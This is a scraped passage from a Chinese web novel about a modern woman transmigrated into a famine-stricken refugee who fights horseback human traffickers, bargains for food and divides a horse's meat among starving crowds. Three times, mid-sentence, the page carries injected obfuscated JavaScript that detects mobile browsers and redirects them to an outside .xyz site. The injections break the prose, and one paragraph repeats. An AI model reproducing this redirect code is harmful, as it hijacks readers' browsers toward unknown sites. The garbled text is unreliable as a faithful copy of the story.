干枯河床上，蹄铁碾碎浮尘。扬尘如瘴，低悬弥漫。草腥、铁锈、汗酸搅作一团，窒人鼻息。 人群瑟缩，退潮般后涌。唯余马蹄擂地，一段，又一段，沉沉迫近。 最前方，刀锋压着惨白日光，刃尖所指——钱二柱呆立当场。 “跑！” 楚琛低吼，瞬间被蹄音吞噬。缰绳绞死掌心，剑柄撞入汗湿虎口。几天前要是有人让她练这个，她一定觉得对方KPI欠缺太多。此刻，气息与蹄音一同绷至极限。世界骤然迟滞，刃尖嗡鸣破风之声，刺入耳鼓—— 凝神！ 世界再度迟缓，两个方案自然漫出脑海：刺，有几率先解决一个，却也容易翻车；让，优点是保存体力，缺点是…… 是…… 马匹近在咫尺。根本无需再想。楚琛仰面往侧鞍倒。 苍白天幕混着惨白刀光，唰地扫过眼帘。意识迟滞如胶，现实飞快如电：刀风贴面掠过，敌骑错身冲过。坐骑载着她直撞第二骑——人贩三号。 也是个束发拿剑的中青年。面皮红润，衣袍厚实，营养状况必然不差。饿着肚子拼臂力是找死。又刚避过一记，难保对方预判自己的预判—— 马背颠簸如浪，距离飞缩。毫不犹豫地，楚琛屏息，瞄准，肩臂骤紧，剑脱手掷出—— 啪！ 她瞄的是马头，实际只击中马腿。后世久经训练的骏马和此世的战马大约懂得无视，可这马只是匹寻常驮马，大惊之下扬蹄偏转，连带其主剑势歪斜。楚琛趁机猛拍马颈，坐骑吃痛疾冲，将嘶鸣咒骂甩在身后。 人贩子一共六个。眼下，一号摔下马，二三号紧咬身后，四五六杵在正前方。他们并未上马，只是傻傻地竖举着刀剑，留在原地，守着买来的人和散落的家当。脸上错愕惊恐，与缩脖围观的流民别无二致。 若此间真有旱地拔葱式的轻功，抑或适用于瘦猴白斩鸡之类的的罡气，这会儿没有理由不用。 但什么都没有。 自己还活着。既没多出几道外伤，也没受得什么内伤，甚至仍在驱马疾驰。 “成了？居然真能成？”楚琛不可置信，双眼发直，自言自语。枯黄的草地自马蹄下掠过，四号目标距离不过数步，与五号六号缩成团颤抖的人墙。 剑已用完，身边还藏了把刀。楚琛本能拔出，继而顿悟马战时长兵器的重要——这长度根本刺不着。只是事已至此，长兵器也不是特别重要。目标越来越近，聚在目标附近的饥民也越来越近。楚琛五指死扣刀柄，放开嗓门大吼： “王法难犯！饥饿难当！” 楚琛踏镫拧腰，短刀撕风狠斩。目标眼珠暴突，横剑欲挡——他挡了个空，她也斩了个空。 马匹飞奔而过，沙土茫茫而起。道前的饥民慌忙扯着家小躲避，更远的饥民依然戳在原地。 无人应声，无人上前，甚至没什么骚动。楚琛喉头一哽，迅速明悟自己犯了现代人通病：说得太复杂。 可，明明该有一个人应—— ——屁都没有。先前说好的帮手同样不见踪影。 机会白白溜走。新的机会还需再寻……要是还能再寻。楚琛转过头，稍缓马速，死命稳住气息。 视野边缘，一缕缕的红蔓延而至，不知是哪蹭破出血，还是新技能体验时间将要结束。追兵阵型已然重整：失马者落在最后，砍空者调转马头居中，被惊了马的重新控住坐骑，居于最前。 一道斜线，重新压来。斜线侧翼，四号五号两个打手依旧聚在一起，六号却独自分出，正狼狈拽扯另三匹空马的缰绳。 他们人多，全有刀剑，眼神警惕。但他们散开了，成了彼此隔绝、漠不相关的三团。 ——既然己方没谁使出轻功，也没谁用出武功，那么抱团和包抄就是优先策略，为什么这些人两个都不做？ 楚琛扪心自问，若自己在追捕队列里，定然会对同事素质和团队未来感到真心实意的费解。但，身为局中困兽，敌人对未来越费解越好。楚琛调转马头，反手狠抽马臀。坐骑嘶鸣，直扑落单的六号—— 六号见状慌乱攀鞍。第一次滑脱。第二次勉强翻上，持剑的胳膊却像断了的树枝，在鞍具旁乱晃，简直无处安放。 这可不聪明。哪怕剑尖朝外，也能逼她迟疑。马蹄交错刹那，楚琛挥臂—— 阻力。 短刀陷进六号的肩，咬进下面的骨。六号大喊大叫着疯狂打马，溅出的音量和血让他自己的马扬蹄打转，也让她的马大吃一惊。两匹惊恐的坐骑冲撞在一处，楚琛只觉一股浪涛似的沛然巨力将自己往四方狂甩。 要是此地躯壳仍是后世营养充足锻炼得当的那具，这不过是一阵和风细雨，甚至一道可借力腾挪的波涛。可新躯壳的个头与体力终究不及。天旋地转间，楚琛坠马。 眼中迟滞有序的世界遽然粉碎。胜利远去，计划崩解。马蹄、咒骂、刀剑反光、尘土、血腥、泥土草木气、不知谁的尖叫尽数混成黏稠的一团，灌进耳道，扎进鼻腔，倒入脑海。楚琛咳出一口，满地抓刀，好半晌才意识到冰凉刀柄仍嵌在掌心。视野阵阵发黑，口鼻铁锈弥漫。耳中嗡鸣阵阵，依稀听得有什么尖锐刺耳的男声在大喊大叫—— “杀了他！给我杀了他！” 楚琛霍然睁眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203627|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们？杀我？” 她微笑，也可能是在狞笑。身后有轰鸣传来，模模糊糊，仿佛隔着厚厚水体；视野帧帧卡顿，仿佛这具躯体的显卡和CPU都在燃烧。但此刻何需耳目？何需平衡？剑锋和马匹就在身后，死亡就在身后！楚琛双手持刀旋身，循着风声、杀意、直觉的方位，发力横斩—— 砰！ 刀脱手，奔腾的马失蹄栽倒，一并摔出的还有马上的骑手和楚琛自己。世界再次翻滚。不过她算摔熟了，几个呼吸不到便连滚带爬地起身。这时那匹失蹄的马轰然砸地。骑手拄着剑，跌跌撞撞站起。 “直娘贼的小泼皮，”他边喘，边啐出一口带血的唾沫，“爷爷非得，非得剥了你的皮。” 楚琛站在原地，只是死命调息。 手头没有兵刃了，脑内发晕，胃肠空空，眼中曾以慢动作播放的一切重回正常速度，浑身的疼痛也再度上线，外加看什么都带点重影…… 这让她完全懒得摆出一个更好的姿态，也懒得编织出些更漂亮的词句。 “伤马留下。”楚琛说，“你滚吧。” “你作甚，”骑手再呸出一口，将要迈出的腿脚倒是狐疑地顿住。“直娘贼，我家是……” “小郎君。” 另一道声音打断他。钱二柱不知从哪钻出来，双手捏着卷刃短刀的刀身，刀柄递来，脸上堆满谄笑：“你……您的刀。” 楚琛笑笑，接过它。冰凉的微风将几缕失去束缚的乱发吹过眼，她也懒得动手别开。骑手盯着他们，四下顾盼，脸色终于变了。 河岸边，不知何时，以这贼子为中心，那些温顺的、躲避的、远远围观的饥民，那些卖儿鬻女乃至卖掉自己的饥民，静静地围拢了过来。他们面黄肌瘦，浑身破破烂烂，走动时摇摇晃晃…… 无数双凹陷的眼睛，黏在自己身上，不曾发出一言，可有种话语与渴望就在他们的眉宇间。不需言语，骑手能理解它。 他们饿。很饿。饿得愿意卖掉一切。但……那是在这个突然发疯的贼子伤了他、毁了他的马之前。 而今，这贼子随意拎着卷刃的破刀，随意地站在那，好像真有什么凭依似的。明明这只一个人，一个人，甚至手里的刀都没他的长！杀了他，聚在他周围的贱皮子必会胆寒，必能散掉！他们依然能带着收来的货回去！ 骑手心底发狠，刀柄握紧，眼角余光却扫见——自家那些骑马的、持刀的打手，动作越来越缓，直至僵立。 他也感到自己背后的伤口越来越痛。 “伤马留下，”楚琛重复，朝骑马的和未骑马的人牙贩子扬了扬下巴。“你们滚吧。” 5. 分肉 风里捎来一股馊味。 这是经年累月的汗水与积垢发酵出的味道。这样的味道源足有上百，且仍在向此处汇聚。 人是一种能凭预期驱使的动物。往日里，六匹高头大马，配着雪亮刀刃，只需一把炒米，一句“暂且活命”的许诺，便足以让几十个枯槁饥民温驯如羊，甚至驱使成百上千人甘为鱼肉。 然而，一旦有人能割开驮马背上鼓胀的米袋，甚至剖开马匹本身，这些眼珠泛绿的饥民便会骤然记起——这些来买人的，同样能变成吃的。 而且，不必等到遥不可及的买主，眼下全是现成的。 全是新鲜的。 不远处，折了腿的伤马痛苦喘息，失马的打手僵立当场，面颊肌肉不住抽搐。先前被她夺过一次坐骑的人牙头目喘着粗气赶到——却不敢再靠近。他将身子缩在两骑交错的阴影里，脖颈青筋暴突，冲着三个迟疑的手下嘶吼： “焦三，姚大，老武，耳朵让鹰啄了？！没听见小郎君发话？！还不赶紧滚回来？！” 吼声未落，他看也不看那三个打手的动向，径自转向楚琛。脸上突然堆起层层褶皱，好像是要挤出个笑，僵在半途。顶着这副扭曲的皮相，他草草将双手在身前一错，又用力向外一推： “不过一头驽马！小郎君既然看得上，尽管处置……不知郎君高姓大名？” 从“小子”、“贼子”荣升“郎君”，楚琛内心毫无波动。因为饿，也完全懒得嘲讽。她以余光留意着其余几人，挟着刀，依样画葫芦地草草一拱： “显州，楚成。” 领头者目光如钩，狠狠钉在她握刀的手上。“显州……”他咂摸了一下，也不知品出了什么滋味，复又开口：“那马权当给郎君赔罪！只是鞍鞯……能否还给我等？” “可以。”楚琛答得干脆，“拿吃的换。” “米没了！”领头者断然道，“只有两块半豆糕，是我自家口粮。” “你们必定带了别的干粮。噢，对了，”楚琛像是刚想起来。“带没带水？” 人牙头目的脸瞬间黑如锅底：“你……好汉想要几份？” “全部。” “郎君！”他声音陡然拔高，“我们要赶路的！” “你们有路要赶，”楚琛偏示意，“我们也有路要赶。你的马，还在我这儿。” 这是实话。将她摔下的花马，此刻正漫无目的地站在不远处，正是她从他那抢到的那匹—— “我们卸它个蹄甲，不费事。” 马若失蹄，哪怕以后世医疗水平，都等同残废。因此，那匹还在痛苦嘶鸣的伤马，已注定归她所有，再添筹码全看这谈判。领头者死死瞪着她，堪称裂眦嚼齿。 “好！行！行！全凭郎君的意思！”他扭过头，冲手下咆哮：“都聋了？！水囊！干粮！拿来！” 头目一声喝骂，四个尚健全的打手忙不迭行动。那个被砍伤的一顿——此人原本背对楚琛，正捂着伤口，踉踉跄跄地朝头领方向挪动，恰好行至半途。闻声，他茫然停步： “大哥，我的不在我这儿。” “没你的事！”领头者没好气地斥了一句，眼珠倏地一转，锁定了目标：“卢大！你去收了东西，呈给这位小郎君！” 楚琛陡然眯眼。 对方六人。此刻，这领头的，连同两个打手正面对着她——其中那持剑的像根木桩杵在原地，持刀的则紧随头领，将要向前。余下三人里，除了那个伤的正蹒跚着汇合同伴，另两个徒步的也将要反身。 人贩对饥民，如同鬣狗围猎角马群，遇到己方受伤减员的可能，它们会躲；但碰到机会，它们从不介意试试。 而此刻，她能孤身谈条件，不仅因对方不愿搏命，更因她身后起码聚拢了数百双饥饿的眼睛。 可就像纪录片里的角马群总会被驱散，要是他们之中突然有谁决定组个队列，来一波冲锋…… “慢着。”楚琛冷冷道，“东西扔地上，几位就不必亲自过来了。钱二，你去把他们要的卸了。” 钱二柱尚未反应，领头者却是一愕，继而反应过来，嘴角扯出一抹冷笑：“小郎君不信我们？” “非是不信，实属不敢。”楚琛坦然迎视，再次草草一拱手：“今日楚某所为，皆为饥饿所迫，多有得罪——多多担待。” 大约是她的表情和语气太诚恳，又或者她真的说中了某种隐秘谋划，领头者喉头一哽，瞪着她，脸色涨红，似乎就要说什么或是骂出什么，但最终，他只是狠狠咽下一口气，嘶声喊道：“卢大！” 被点名的提刀打手勒缰回马，与领头者目光一触。随即，他缓缓转过头，视线投向楚琛。 明明隔着一段距离，这一眼也平淡无奇，甚至他们方才还有过短暂交锋，一股宛如腿边爬了只蟑螂的不适，瞬间窜过脊梁，直冲天灵盖！楚琛控制不住地捏紧刀柄，那中年打手却只朝她幅度极小地一颔首。 那股难以形容的不适感蓦地散去了，就同它出现时一样莫名其妙。打手解下鞍边水囊，又从腰间扯下一只瘪瘪的小皮袋，扬手一抛。 第一份物资到位。沉闷的噗响中，浮土被砸得微扬。很快，其余打手依样施为。水囊接连砸进土里，激起一小片黄尘。楚琛目光如刀：“退后。” 那骑马的打手卢大再次回首看向领头者。领头者冷笑着摆手：“退！小郎君可还有吩咐？” 楚琛没理他，兀自转向身后饥民群，抬高嗓门—— “谁去把水捡回来？” 围聚的饥民你看看我，我看看你，短暂僵持后，一个瘦小的身影迟疑地迈出一步，紧接着是第二个、第三个……待到第四和第五个时，这两人甚至小跑起来，仿佛怕被人抢了先。 楚琛一阵诧异。她本打算让钱二柱干完活再跑这两趟。反正她绝对不会自己近前去——即便这地界根本上不支持发波白斩鸡，可万一扎小人管用呢？ 几只形态各异的水囊和几个瘪塌的小口袋，被主动出列的饥民带了回来。另一侧，钱二柱也终于卸完了马鞍、马衔、马镫等一堆马具。他倒还不算蠢到无可救药，无需提醒，便懂得将东西放在地上，还主动牵了那匹完好的马走到近前。 至此，双方算是将各自所索要的交割完毕，且再不想跟对方扯上更多瓜葛。人牙贩拢了自己人和收来的人，头也不回地向北而去。楚琛返身，目光沉沉地落在那匹垂死的伤马上。 比起后世景区里那些膘肥体壮的同类，它显得瘦小许多。然而，与老鼠相比，这具濒死的、仍在痛苦抽搐的肉山，无疑是更符合传统认知的“食物”，也几乎明示着一场血肉盛宴。于是，它如同漩涡中心，吸引来了更多饥民。 他们先前站在她的身后，此刻，却已密密匝匝地挡在了她的面前。 人很多。 非常多。 方才与人贩子对峙，精神紧绷如满弦之弓，无暇他顾，也不敢分心。此刻松懈下来，她才悚然惊觉究竟聚拢了多少：仿佛地铁早晚高峰的所有乘客尽数倾泻于此，而她是洋葱最里的芯，所有饥民都绕着她，绕着那头伤马一层层、一圈圈包裹开，延展开。 最外层是没能挤近来的和健康条件差些的妇孺；稍内一层大多是原先站在河岸边的；最里一圈，则是那六个饥民——五个抱着水囊，一个是最初被她威胁入伙的钱二柱…… 几乎所有人都在看着她。几乎所有人都在沉默地等待着她，无声地掂量着她。 冷风拂过，浮尘卷起，楚琛忽然意识到冷汗早已浸透内衫。 高烧似乎退了，但每块肌肉都像被砂纸反复打磨的齿轮，每个关节都在哀鸣。饥饿化作无形猛兽，尖牙楔进胃壁来回撕扯，涎水顺着肠子下淌…… 再一次地，无比清晰地，楚琛意识到自己正身处异乡。 自己，一个生长在繁荣中，从未亲历短缺与灾荒，只在屏幕中书页里见识过古代与战乱的人，还能走多远？活多久？这次靠莽和侥幸，算是蒙混过关了。下次呢？下下次呢？还接着拿命搏吗？ 一点点说不清道不明的茫然，混杂着对前路的忧虑，对未知的恐惧，气泡一样，慢悠悠地从心底深处浮起。但紧接着，针一般冰冷尖锐的现实刺破它们，也刺痛她—— 时间有限。 不能沉湎过往，不能伤春悲秋。 还有人要救，必须在天黑之前！ “我……” 楚琛吐出一个字，又强行咬着牙定住神。她直了直原本就不曾躬过的腰腿，视线从远处收往近前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203628|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>群体的沉默，是将倾的危楼，是引信燃烧的嘶响。必须说点什么了。要直击要害，要像烧红的铁钎捅进冻肉那般滋滋冒烟！苍天已死太缥缈，石人一只眼还没到…… 不！自己费劲心思砍伤马蹄的理由只因为一个，饥民最终能被自己聚起的原因也只是那一个。这是唯一的通关密语，是炸药包中那根致命的红蓝引线！一旦说错—— “鄙人！显州楚成。”楚琛猛地暴喝，视线逐一扫过拿着水袋的五人，又轻飘飘地瞟眼挪到离她最近位置的钱二柱。最后，她昂首，望向眼前那黑压压、仿佛漫无边际的饥民之海，手中刀锋悍然指向地上垂死抽搐的伤马： “我要分肉！谁有大锅？哪里有大缸？” 嗡—— 仿佛无形的巨手扼下，嘈杂声浪骤然一窒！紧接着，是山崩海啸般的轰然反扑！ 赌对了！显而易见！ 大多数人逃荒时携带的锅碗瓦罐完全无法容纳多少马肉。千百张嘴唇百个音调不同的语声遽然扬起，千百道目光焊死在刀尖上，如同被磁石吸住的铁屑。人人都想发声，人人都想要吃肉—— 大多数流民逃荒时携带的破锅烂碗，完全无法容纳多少马肉！千百张嘴同时翕动，千百种嘶哑的、尖利的、绝望的声浪遽然拔地而起，千百道目光如同嗅到血腥的饿狼，死死焊死在雪亮的刀尖上！ 人人都想发声，人人都想要吃肉—— 但，他们的意欲被先一步挑破，于是，那原本铁板一块、密不透风的拥挤人潮，骤然间露出蜂窝似的孔隙。他们两三个敢扑上来夺食，四十个能掀翻满载的马车，五百个足以踏平一座村落…… 但当千百双饥饿的眼睛都在贪婪地等旁人先踏出那一步，连饥民里最健壮的滚动喉结，那响动都比旁人轻几分。 楚琛再瞟眼钱二柱，钱二柱莫名地回看她。楚琛改望为瞪，钱二柱却更加莫名地看向伤马——此人显然已将她之前吩咐忘得一干二净。楚琛挫败地清了清嗓子，准备再吼。 另一个拎着水袋的饥民的目光在他们之间一来回，比她更快地，他上前。 “闭嘴！都闭嘴！”他咆哮，“楚家郎君要分肉！找缸！找大缸！！” 他花了大力气，声音近乎扯破，效果立竿见影。饥民群嘈杂的语声没消失，总体音量却在这一压之后小了不少。 钱二柱仿佛被谁从后心踹了一脚，不可置信地看向那个发声的同伴，随即如梦初醒，也急吼吼往前，张口大呼： “我家郎君要分肉！哪里有缸？” 他的行动如同引信点燃。另外四个抱着水囊的饥民也猛地回过神，纷纷扯开喉咙，此起彼伏地嘶喊： “分肉！找大缸！” “听到没有？找缸！” 吆喝接连爆发，此起彼伏。终于如沸水泼进雪堆，给那片混乱的声浪烫出个缺口。而方才还躁动如兽群的饥民群，此刻竟像是被无形的力量抽去了脊梁骨。 她将提供的东西和她提出的要求被层层传递，所过之处满是波澜。那翻涌的声浪渐渐平息，褪成浑浊水面下细碎的泡沫，偶尔迸出几颗“我家有瓦盆”的水花。 楚琛冷眼旁观过这群喉舌，目光更锐利地扫向庞大而沉默的饥民群。这里，恐怕真找不到一口像样的锅釜，正好，可以借此机会物色些值得拉拢的人手，来处理那即将喷涌的马血。 还得尽快规划好这匹马的切割方式……日头虽未西斜，时间却像指间沙，但愿还来得及。 但，如果真有人能提供一口足以容纳马肉的大缸或大釜…… 在这所有人都濒临饿死、只想着如何逃出生天的绝境里，是什么样的人，出于何种心思，又是以何种方式，竟还拖带着这样一口笨重无比的容器？而这样巨大的容器，在这样的日子里，又主要用来做些什么？ 人潮突然裂开道缝。 几个身影踏着天光，大步走来。 与周遭那些黄皮寡瘦、形容憔悴的饥民相比，他们的状态不说神采奕奕，也堪称神完气足。 为首的中青年望着她。和之前的人贩类似，他也将双手交错、拇指相对、握在身前、往前推出，至少看起来比人贩真诚： “是楚家小郎君？我叫曾放……我那正有口陶缸。” 6. 陶匠 曾放自称是个陶匠，可他有的不止一口大缸，跟着他的人更不止他带在身边的几个。 自然，这样一位面对饥荒不跑路，反倒聚了人手器物、蛰伏在饥民堆中的“陶匠”，在模糊暗示过大缸与帮手的来历后，并未直说什么“此马与我有缘”之类的东西，只轻咳一声，愁容满面： “小郎君身手了得，更难得一副菩萨心肠。奈何区区一匹伤马，喂不饱这许多张饿嘴啊……” ——废话。 楚琛指腹无意识摩挲过刀柄缠布，粗糙的麻纤维刮擦着掌心薄茧——不是前世键盘鼠标赠予的茧。玻璃幕墙后的办公室里，连老板都不敢在她交易时吭声。而此刻，远处有比金融炼金术更要紧的自家老娘，近处是曾放翕动的嘴唇。 站得太近。楚琛手腕微沉，刀尖悄然前探。只需两步，那锋刃便能从肋间斜刺而入—— ——不。不能再想。楚琛直勾勾盯着曾放，直截了当道：“但这伤马，归我来分，是这道理吧？” 曾放脸上那副悲悯面具应声裂开一线，他慢吞吞道：“既由小郎君所得……自该如此……” “好说。曾郎君稍待。”楚琛干脆转向一旁的几个饥民，精准锁定最先替她喊话的那个： “你，叫什么？” “小的孙顺。” “你爱吃肥的还是瘦的？” 饥民神色一喜，果断道：“肥的。” 楚琛下颌一点，转向另一个：“钱二，你呢？” 钱二柱撇眼孙顺，道：“小郎君给什么，小人要什么。” “我要你说。” “……肥的。” “很好。”楚琛再转向剩下几人：“你们？” 四个饥民喉结滚动，目光黏在马尸上，几乎异口同声：“肥的！”“油水多的！” “那么，脊肉归我，马腹肉你们六人自分。”楚琛说着，扭头直视曾放。“你出了罐子，马血杂碎算你的。等我收拾完，这匹马熬个肉汤，再分给余下诸位。这般分法，曾郎君可有话说？” 字句是询问，语气却如刀锋刮骨，毫无商量余地。曾放盯着她，脸上笑意愈发僵硬，愈发接近于一层将将未落的粉饰： “没出半分气力，却有进项，自然是满意的……只是，小郎君自家，还够么？” ——怎的，我若说不够，曾兄是即刻匀半扇两脚羊与我么？ 楚琛心头一阵燥怒。这曾放，九成吃过人。她不认同，倒能理解——饿疯了，人的底线容易松动。唯一的问题是，她拿不准此人此刻绕圈子为的是什么。 也算是从上辈子跟来的职业病：若一个投资方案、一段市场走势让她觉得哪里不对，在揪出那点问题之前，哪怕不赚钱，她也不会往里投一毛钱。 正因为如此，她的留言板上才经常是些“楚总”、“琛总”，而非千夫所指的“楚狗”。 只是话又说回来，曾放既然是被分肉的动静引出来，有一点，绝对错不了—— “曾郎君，”楚琛眼梢微挑，摆出一丝恰到好处的疑虑，“你不饿？我可是饿狠了。” 曾放再度一滞，见她当真转身提刀即走，连忙抢上半步，声音压得更低，几乎只剩气音： “……我也饿！只是……不知楚郎君，日后有何打算？” “先分肉。”楚琛淡淡道，“要不然呢？” 曾放猛地一咬牙，凑得更近：“敢问郎君……奉的是哪一道？” 楚琛眉头一跳。 好消息，这人说出来了；坏消息，说了个哑谜。 “哪一道”所指何物，自己完全不懂。而这不懂的东西，似乎在他们当前的交流中很重要。 不过，穿都穿了，显而易见地就得在古代讨生活……她倒也不是完全不懂。想来，多日饥荒，能留下来，还有意聚人，要做的那套，无非裹挟流民、揭竿而起。 可若真是要造反起事，甚至聚了人、起了锅，乍然撞上她这等摸不清底细的，却陡然刹车，开始磨磨唧唧、欲言又止……这算什么路数？ 耐心彻底耗尽。楚琛反身。 “曾郎君——曾兄！”她目光死死钉着曾放的脸，“我娘为我进了人市！我要救她，管它什么道！你，是要挡我么？” 这么快又动手很不明智，但真要动手，将来说不定要转行去屠宰业，再杀几个倒也无妨。楚琛指节绷紧，攥死了刀柄。 这刀已经卷了刃，割肉恐怕不易，杀人应还顺手。她的眼轻飘飘掠过曾放的颈侧动脉。见他似乎一怔，她顺势又逼前半步。 他的肩与背往下掉了点，这是卸下防备的信号。 “人市就在清风镇，小郎君。”他的眼打量她，视线则毫无防备地飞往更高更远处：“反正留在此地，也是等死。我们意欲结伙，先往清风，再去虎山，等兵粮齐备，拿下槐县，做一番大事！” ——非常近了！ 要动手的话，眼下位置绝佳！刀锋可直贯脏腑，侧步即可避开血污。只是，自己为何就……又到动手了？他们之前谈的是什么？ ……他们之前谈什么了？ 楚琛瞪着曾放，也许不完全是曾放。颅腔内，两个时空轰然对撞！后世冰冷的理性在尖叫：快附和！敲定！顺势入伙！可此世头颅深处，却陡然泛出一股滚烫。 在她有任何行动前，这滚烫沿脑海下至颈椎，又顺着颈椎行至脊柱，血气随之翻涌开来，犹如铁水在浇筑。 杀了他。 杀了他！ 心脏在胸腔里狂擂，视野在清晰与模糊间切换。楚琛的面容无法控制地扭曲了一瞬。曾放脸上掠过惊疑，脚下下意识退了半步。 ——警觉了，但不多！退得不够远！手无寸铁！手下散落！他还没嗅到致命的危险！ 动手动手动手动手—— “曾郎君！”楚琛顶着颅内的火烧火燎一声大吼，猛地跨前，铁钳般扣死了曾放的小臂：“你还没说我娘！曾郎君，她才走没多久，她——她活着！是吧？！” 一层冷汗，密密地从背后渗出来。楚琛完全不知这番表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203629|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否妥当。抛出李氏，更多是遮掩自身异变，是企图融入当前世界甩出的缘由。真要说什么血浓于水、什么母女亲情，她脑海里还一派混沌乌糟，连李氏全名都记不起来。 然而，当那声“娘”吼出口，无数细小的芒刺也自骨髓深处爆出，穿透神经，开出带血的认知：齿缝间残留着李氏喂过的草糊苦味，手掌里烙着母亲手把手教宰猪时留下的茧，还有传家的刀—— 她成了一艘被两股狂暴洋流撕扯的破船。陌生的、滚烫的潮水从五脏庙里汹涌漫上，拍打着试图冲破她的眼眶——但这具躯体已是她的堡垒、她绝不能崩溃，绝不能倒下！此刻不能！永远不能！ 穿越者的意志化作千钧铁锚，带着破空的尖啸，悍然穿透不属于己的血泪洪流，将即将崩散的意识死死钉在现实的礁石上！ 只是一瞬，意识中乍现的裂痕弥合，脑海里的焚城烈焰熄灭。无形的风暴平息了。反馈在现实，便是楚琛负伤凶兽咬着牙发着抖，眼神却依然如刀光般尖锐。 似乎被这目光所刺痛，曾放微微错开视线，脸上也蒙上一层黯然。 “我……唉。只敢说，应当无事。”他轻叹一声，苦笑道，“人市确会杀人，却也要按他们的规矩来。只是……小郎君这般抓着我，在下……也不好替你指路啊。” ——你知道啊。 楚琛松开手，沉沉瞥曾放一眼。杀意毒蛇般再次昂首，所幸颅内那股焚身高热已莫名退潮，也暂时没得卷土重来的征兆—— “好。有劳曾兄。”她干脆地说，回首扫视那群眼巴巴等着分肉的饥民。 不出所料。所有人都在等待吃肉，没有任何人站到她的身后。半死不活的风卷着沙尘掠过，将未散的杀意吹成个荒唐笑话。楚琛收回视线，望向曾放，全无异常地递上话头： “我家传的刀卷刃了，曾兄有无利刃？” 曾放忙不迭应是，回身朝不远处几人招手：“赵兄弟！范兄弟！刘兄弟！都过来！这位是楚家的小兄弟，身手了得！” 先前跟在曾放身后的两人应声走近，人堆里又挤出另一个。 三人皆是颜色暗淡的粗布衣，大同小异的右衽窄袖，倒是脏得各有特色。只不过，前两人头顶上，是松松垮垮、随时要散架的歪髻，最后那位却格外扎眼——头顶斑秃，两边滑稽地垂下两条细瘦发辫，活像被薅秃了顶毛的垂耳犬。 周遭束发右衽的汉民对此视若无睹，仿佛那发型再寻常不过……可、可什么朝代什么地方流行过这种发型？难不成，自己这趟穿越，成流民还不够，还一脚踏进了某个化外蛮荒之地？ 楚琛满心愕然，本能地疯狂检索记忆中残存的历史碎片。而她身旁，好像不曾避过半步似的，曾放的手臂搭上她的肩膀，半推半带地将她转了个方向，正对着那走来的三人。 “范兄弟，你的刀先借楚兄弟分肉！” 曾放朗声吩咐，随即转向楚琛，脸上堆起过分热切的关切：“我等先前侥幸得了些野味，尚余些肉汤，楚兄弟不如喝过再干？” 7. 乱起 在连草地都像被梳过的饥荒时节，这鬼地方能有什么野兽？ 即便当真存在野兽，这些野兽生前又为何出现在附近？ 曾放的三个手下已在眼前，显然易见地就要挟裹自己去。 方才淌过的冷汗，再一次从背后冒出来。现在再反悔掀桌，已经晚了。先前只需捅一个，此刻除开侧面那个外，正面还有三个，肯定都携带武器，肯定都吃过东西…… 近距，四对一，天光正亮，光凭一把卷刃的短刀，翻脸还能翻到哪去？ 如此看来，非得喝了不可？ 咕噜噜—— 肠胃恰如其分地一阵翻腾，楚琛脸上也堆起恰如其分的苦笑：“多谢曾兄。只是饿久了肠胃薄，吃些马肉尚可，兽肉却克化不动。” “呵呵。”那顶着怪异双麻花辫的秃头汉子咧开嘴，笑脸淳朴：“小郎君看不上我们。” “是，平白无故，我看不上你们。”楚琛立即停步，面上嗤笑：“何以见得？大抵是你躲在人后，不知欺辱了哪家孤寡老弱，却要拿我作幌子吧。” “你——” “——范兄弟。” “做甚哪、做甚哪！” 曾放的喝止与另一个稍远的声音撞在一起。孙顺嚷嚷着，三步并作两步抢到近前：“做甚哪？仗着人多，是要抢肉哇！？” 他仍用那破锣嗓子，引得先前说好有肉可分的饥民一愣，纷纷侧目。视线交错，立时便有人本能地横眉冷眼。范阿四脸上也一点点涨得通红：“给了脸不要——” “罢了！”曾放猛地横出一条胳膊，转脸又挤出笑：“楚兄弟，这是范阿四范兄弟……范兄弟心思不坏。” 心思不坏，奈何嘴贱。楚琛心中冷笑，恍然接口：“那就是我饿迷了眼，看岔了。对不住啊，范家大哥，你可还愿借刀与我？” 范阿四瞪着她，腮帮子绷紧，似要憋出什么。曾放胳膊往后一顶，拍了他一把。 范阿四一声不吭，猛地从怀里拔出短刀，刀柄紧攥，刃尖却直直捅向楚琛！ 空气瞬间绷紧如弦。楚琛眼皮都没眨，右手闪电般探出，五指箕张，竟不是抓向刀柄，直接攫向那冰冷刀身！ 不远处作势要来的孙顺停住了，他背后的钱二柱嘿出一声，推开孙顺抢前半步。楚琛表情不动，视线不垂，手指夹刃，手腕轻巧一旋—— 那柄短刀已落入掌中。 是把剔骨刀。比她卷了刃的解腕刀短上一截，但刃口寒光流转，明显养护得更好。 